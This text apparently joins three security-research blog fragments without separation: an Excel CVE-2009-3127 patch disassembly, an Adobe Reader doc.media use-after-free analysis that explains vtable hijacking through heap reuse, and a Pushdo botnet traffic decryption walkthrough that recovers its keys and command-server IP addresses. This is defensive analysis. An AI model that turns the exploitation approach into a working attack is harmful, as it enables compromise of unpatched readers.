.text:301A7443                 cmp     ecx, [eax+24h]
.text:301A7446                 jge     loc_3029481F
…
.text:30294818                 xor     eax, eax————————————-clear eax
.text:3029481A                 jmp     locret_301A7471

.text:30276DB6                 call    sub_301A7431——————————return 0
.text:30276DBB                 test    byte ptr [esi+1], 8
.text:30276DBF                 jz      short loc_30276DC5
.text:30276DC1                 or      byte ptr [eax+9], 8————————-Excel crashes with an access violation exception, the crash is non-exploitable

The patch is very simple. It just adds one more validation for cfdbdb when handling SXVI record and return zero if the validation fail. Excel doesn’t handle this zero value smoothly and crashes again. This is acceptable for Excel since the crash becomes non-exploitable. As a conclusion, the patch for CVE-2009-3127 is unshaped but we are safe now.

The incriminated code handling the “doc.media” object is in the file “plugins\Multimedia.api”; here, when function “newPlayer()” is being called, a block of 0×4C bytes is allocated on the heap, at the first address highlighted in red on figure 1 below:

Figure 1: call to malloc()

Then it goes to free this 0×4C bytes long block – as can be seen on figure 2 below – because of the unexpected input fed by the malicious Javascript code.

Figure 2: free()

However, when the Javascript interpretation ends (normally, or because of any other actions bringing the same effect, such as “util.printd()” in the sample), the memory of this freed block is used again:

Figure 3: Use after free!

As we can see on figure 3, the first pointer in the previously-freed block is stored in edx for the purpose of being used as a vtable pointer (aka vpointer). Then, the function at index 0×04 in the vtable is called (highlighted address on Figure 3). In other words, the EIP is set to [[lpBlock] + 4].

Therefore, successful exploitation lays in the attacker’s ability to control the first DWORD value in the block, so as to have it point to his/her own crafted “vtable”, and branch to his/her own “vfunction” (the shellcode). The easiest way we can think of to achieve this is to insert some PDF Javascripts; this hopefully will reallocate memory at the same spot as the freed block, because the Javascript engine uses the same heap. This is the approach implemented in the sample seen in the wild.

As the vendor’s patch is currently planned to be available on January 12, 2010 after Christmas and New Year, Fortinet customers should ensure that your IPS and AV definitions are up-to-date, we released updates to detect the exploits on Dec 15th, 2009 (more details can be found in our FortiGuard Advisory FGA-2009-47).

Guillaume Lovet contributed to this post

0340  13 63 cc 69 13 63 cc 69 13 63 cc 69 53 63 cc 2b   .c.i.c.i.c.iSc.+
0350  13 63 cc 69 13 63 cc 69 13 63 cc 69 13 63 cc 69   .c.i.c.i.c.i.c.i
0360  13 63 cc 69 13 63 cc 69 13 63 cc 69 13 63 cc 69   .c.i.c.i.c.i.c.i

This looked to me like a flaw in the encryption that potentially could be used for detection purposes. It might even be possible to automatically break the encryption.

It is not hard to guess the cause of this pattern. The data was encrypted with a four byte key, and what we see here is the result of encrypting a block of nulls. Null blocks are an expected part of most program files and not unusual in data files, and this Pushdo message certainly contains both. Looking around in the message data, we can see that even where non-null data is mixed in, the underlying pattern can be recognized.

0030  — – — – — – 15 c8 fc 31 20 20 3f 19 1a 63 . .j…..1  ?..c
0040  d2 69 89 63 3c 1b 7c db 45 69 00 63 cc 69 13 63 .i.c<.|.Ei.c.i.c
0050  1c 69 21 94 04 47 25 94 fa 5e 3d 9c cc 7f 13 63 .i!..G%..^=….c
0060  cc 69 13 b3 cc 5f 22 91 fd 5c 2b 91 fd 5f 24 91   .i…_”..\+.._$.

If the encryption was done using a simple XOR, the four pattern bytes would serve as a key to decrypt the message data. But the Pushdo encryption algorithm is a bit more complicated than that. A recent in-depth analysis by Fortinet’s Kyle Yang reveals the encryption algorithm.

Pushdo encryption uses three key bytes, which we will refer to as key0, key1, and key2. A new key is generated whenever the infected computer is restarted. Here is how the encryption is done.

(plain byte 0) XOR key0 = (encrypted byte 0)
(plain byte 1) – key1 = (encrypted byte 1)
(plain byte 2) + key2 = (encrypted byte 2)
(plain byte 3) XOR (key1 + key2) = (encrypted byte 3)

One of the most important rules for encryption systems is that security should depend on the keys, not on the secrecy of the encryption algorithm. In this case a bit of reverse engineering has revealed the algorithm, so whatever security remains is provided by the keys.

At this point it looks like we have all the information we need to decrypt this message. We know how the encryption works, and we should be able to calculate the key from the repeating pattern. But it would be convenient for us to be able to use the pattern itself as the key, if that is possible.

Notice that the last encryption rule contains an unnecessary complication that does not improve security. Adding key1 and key2 only serves to produce another static key byte. For our decryption we can simplify this rule by combining key1 and key2:

(plain byte 3) XOR key1.2 = (encrypted byte 3)

The plus and minus operations must also be reversed, so the new rules for decryption are:

(encrypted byte 0) XOR key0 = (plain byte 0)

(encrypted byte 1) + key1 = (plain byte 1)

(encrypted byte 2) – key2 = (plain byte 2)

(encrypted byte 3) XOR key1.2 = (plain byte 3)

To find the key bytes from the pattern bytes, we can rearrange the decryption rules this way:

key0 = (plain byte 0) XOR (pattern byte 0)

key1 = (plain byte 1) – (pattern byte 1)

key2 = – (plain byte 2) + (pattern byte 2)

key1.2 = (plain byte 3) XOR (pattern byte 3)

The pattern bytes need to be aligned with the encryption rules before we can find the key bytes. We could test all four possibilities, but a quicker way to do this is by looking at the start of the data. We know from reverse engineering that the message has an 8 byte header, which means the data starts at frame offset 0×003e, so the pattern byte that falls here will correspond to key0. The pattern bytes are cc 69 13 63.

0030  — – — – — – 15 c8 fc 31 20 20 3f 19 1a 63 . .j…..1  ?..c
key   — – — – — – — – — – — – — – 13 63
0040  d2 69 89 63 3c 1b 7c db 45 69 00 63 cc 69 13 63 .i.c<.|.Ei.c.i.c
key   cc 69 13 63 cc 69 13 63 cc 69 13 63 cc 69 13 63

Based on this alignment the pattern byte identities are:

pattern byte 0 = 0×13
pattern byte 1 = 0×63
pattern byte 2 = 0xcc
pattern byte 1.2 = 0×69

Using the equations above, with the plain bytes set to zero, the key bytes are:

key0 = 0×13
key1 = 0×9d
key2 = 0xcc
key1.2 = 0×69

To test this we can decrypt some message data to see if we get the correct result. The block below was chosen at random from an area known to contain hard coded IP addresses.

0060  cc 69 13 b3 cc 5f 22 91 fd 5c 2b 91 fd 5f 24 91   .i…_”..\+.._$.
key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d
plain 00 00 00 50 00 36 31 2e 31 35 38 2e 31 36 37 2e
text                  6  1  .  1  5  8  .  1  6  7  .

0070  01 50 13 7b cc 69 13 63 cc 39 13 94 03 5d 3d 94   .P.{.i.c.9…]=.
key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d
plain 35 39 00 18 00 00 00 00 00 60 00 31 37 34 2e 31
text   5  9                             1  7  4  .  1

0080  ff 5a 3d 94 fc 5d 3d 95 fd 59 13 79 cc 69 13 63   .Z=..]=..Y.y.i.c
key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d
plain 33 33 2e 31 30 34 2e 32 31 30 00 16 00 00 00 00
text   3  3  .  1  0  4  .  2  1  0

0090  cc 39 13 95 fe 58 3d 95 ff 59 3d 95 fa 5b 23 9b   .9…X=..Y=..[#.
key   cc 69 13 9d cc 69 13 9d cc 69 13 9d cc 69 13 9d
plain 00 50 00 32 32 31 2e 32 33 30 2e 32 2e 32 30 38
text            2  2  1  .  2  3  0  .  2  .  2  0  8

The IP addresses found above in the decrypted block match ones known to be used by this version of Pushdo, so we can safely say the decryption is correct. Automated detection should be possible by picking the key from the message and applying it to a known block like the one above. Even if the IP addresses are changed, their presence in this format can be detected, along with other parts of the structure they are held in.

Unfortunately, sooner or later the encryption algorithm will be changed. It can be recovered by reverse engineering, but we would like to handle the change automatically, if that is possible.

We have some knowledge about the unencrypted data, for example we know that the data block seen here contains a number of IP addresses in text format. More of this kind of predictable data can likely be found. So we should be able to find the key, and we have all of the encrypted data and some of the unencrypted data.

With this information it may be possible to derive the arithmetic or logic operations used to encrypt each of the four bytes. Simple operations like XOR, plus and minus should not be hard to identify. Only operations that do not destroy data can be used, so it may be possible to generate a list of acceptable operations that are not excessively complex. As we saw with the fourth rule, overly complex operations may be reduced to simpler ones. In this sort of analysis we would probably not even be aware of the reduction.